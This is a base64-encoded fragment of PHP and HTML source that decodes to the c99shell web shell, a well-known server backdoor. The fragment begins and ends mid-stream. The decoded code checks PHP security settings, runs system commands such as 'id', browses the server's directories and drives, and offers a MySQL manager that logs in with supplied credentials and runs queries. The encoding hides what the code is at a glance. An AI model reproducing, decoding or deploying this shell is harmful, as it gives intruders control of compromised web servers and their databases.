bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQ0KZWxzZSB7JHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTt9DQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQ0Kew0KICRzYWZlbW9kZSA9IHRydWU7DQogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1cInJlZFwiPk9OIChzZWN1cmUpPC9mb250PiI7DQp9DQplbHNlIHskc2FmZW1vZGUgPSBmYWxzZTsgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSB0cnVlOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPVwicmVkXCI+Ii4kdi4iPC9mb250PiI7fQ0KZWxzZSB7JG9wZW5iYXNlZGlyID0gZmFsc2U7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9DQokc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOw0KaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQokc29ydFsxXSA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOw0KJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCmlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30NCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpOw0KQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7IC8vRkZGRkZGCQ0KQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDAJDQpAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7IC8vIzAwMDBCQgkNCkBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsgLy8jMDAwMDAwCQ0KQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAJDQpAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOyAvLyNERDAwMDANCmlmICghaXNfYXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9DQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7DQokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KJHVkID0gdXJsZW5jb2RlKCRkKTsNCj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBjOTlzaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1mYWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjQjdCMkIwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0eWxlPjwvaGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVpZ2h0PSIxNSIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHA+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxiPkM5OVNoZWxsIHYuIDw/cGhwIGVjaG8gJHNodmVyOyA/PjwvYj48L2ZvbnQ+PC9hPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+PHRyPjx0ZD48cCBhbGlnbj0ibGVmdCI+PGI+U29mdHdhcmU6Jm5ic3A7PD9waHAgZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+dW5hbWUgLWE6Jm5ic3A7PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2luKSB7ZWNobyB3b3Jkd3JhcChteXNoZWxsZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7fSBlbHNlIHtlY2hvIGdldF9jdXJyZW50X3VzZXIoKTt9ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+U2FmZS1tb2RlOiZuYnNwOzw/cGhwIGVjaG8gJGhzYWZlbW9kZTsgPz48L2I+PC9wPjxwIGFsaWduPSJsZWZ0Ij48P3BocA0KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9DQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoc3Vic3RyKCRkLC0xLDEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCxzdHJsZW4oJGQpLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKQ0Kew0KICR0ID0gIiI7DQogcmVzZXQoJGUpOw0KICRqID0gMDsNCiBmb3JlYWNoICgkZSBhcyAkcikNCiB7DQogICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgaWYgKCRqID09ICRpKSB7YnJlYWs7fQ0KICAkaisrOw0KIH0NCiBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsNCiAkaSsrOw0KfQ0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCmlmIChpc193cml0YWJsZSgkZCkpDQp7DQogJHdkID0gdHJ1ZTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5bIG9rIF08L2ZvbnQ+IjsNCiBlY2hvICI8Yj48Zm9udCBjb2xvcj1cImdyZWVuXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7DQp9DQplbHNlDQp7DQogJHdkID0gZmFsc2U7DQogJHdkdCA9ICI8Zm9udCBjb2xvcj1cInJlZFwiPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+IjsNCiBlY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsNCn0NCmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpDQp7DQogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGQpOw0KICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGQpOw0KIGlmICgkZnJlZSA9PT0gZmFsc2UpIHskZnJlZSA9IDA7fQ0KIGlmICgkdG90YWwgPT09IGZhbHNlKSB7JHRvdGFsID0gMDt9DQogaWYgKCRmcmVlIDwgMCkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30NCiAkdXNlZCA9ICR0b3RhbC0kZnJlZTsNCiAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygkdG90YWwvJGZyZWUpLDIpOw0KIGVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19zaXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOw0KfQ0KZWNobyAiPGJyPiI7DQokbGV0dGVycyA9ICIiOw0KaWYgKCR3aW4pDQp7DQogJHYgPSBleHBsb2RlKCJcXCIsJGQpOw0KICR2ID0gJHZbMF07DQogZm9yZWFjaCAocmFuZ2UoImEiLCJ6IikgYXMgJGxldHRlcikNCiB7DQogICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJheSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0ZXMpOw0KICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQ0KICBpZiAoJGJvb2wpDQogIHsNCiAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kbGV0dGVyLiI6XFxcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+WyAiOw0KICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9DQogICBlbHNlIHskbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPiIuJGxldHRlci4iPC9mb250PiI7fQ0KICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOw0KICB9DQogfQ0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNobyAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQ0KfQ0KaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKQ0Kew0KIGZvcmVhY2goJHF1aWNrbGF1bmNoIGFzICRpdGVtKQ0KIHsNCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7fQ0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KIH0NCn0NCj8+PC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj48P3BocA0KaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkgez8+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iMTAwJSIgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gJGRvbmF0ZWRfaHRtbDsgPz48L3RkPjwvdHI+PC90YWJsZT48YnI+PD9waHAgfQ0KPz48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSIxMDAlIiB2YWxpZ249InRvcCI+PD9waHANCmlmICgkYWN0ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCmlmICgkYWN0ID09ICJzcWwiKQ0Kew0KICRzcWxfc3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsNCiBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30NCiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQ0KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICRzcWxfc3VybCAuPSAiJiI7DQogPz48aDM+QXR0ZW50aW9uISBTUUwtTWFuYWdlciBpcyA8dT5OT1Q8L3U+IHJlYWR5IG1vZHVsZSEgRG9uJ3QgcmVwb3J0cyBidWdzLjwvaDM+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PD9waHANCiBpZiAoJHNxbF9zZXJ2ZXIpDQogew0KICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KIH0NCiBlbHNlIHskc3FsX3NvY2sgPSBmYWxzZTt9DQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOw0KIGlmICghJHNxbF9zb2NrKQ0KIHsNCiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnN0YXR1cyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCRzdXJsLiJhY3Q9c3FsIik7DQogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7DQogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319DQogIGVjaG8gIjwvY2VudGVyPiI7DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiBpZiAoISRzcWxfc29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Zm9udCBzaXplPSI1Ij4gaSA8L2ZvbnQ+PC9jZW50ZXI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPSI5MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPjx0cj48dGQ+Jm5ic3A7PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj4mbmJzcDs8L3RkPjx0ZD48Yj5E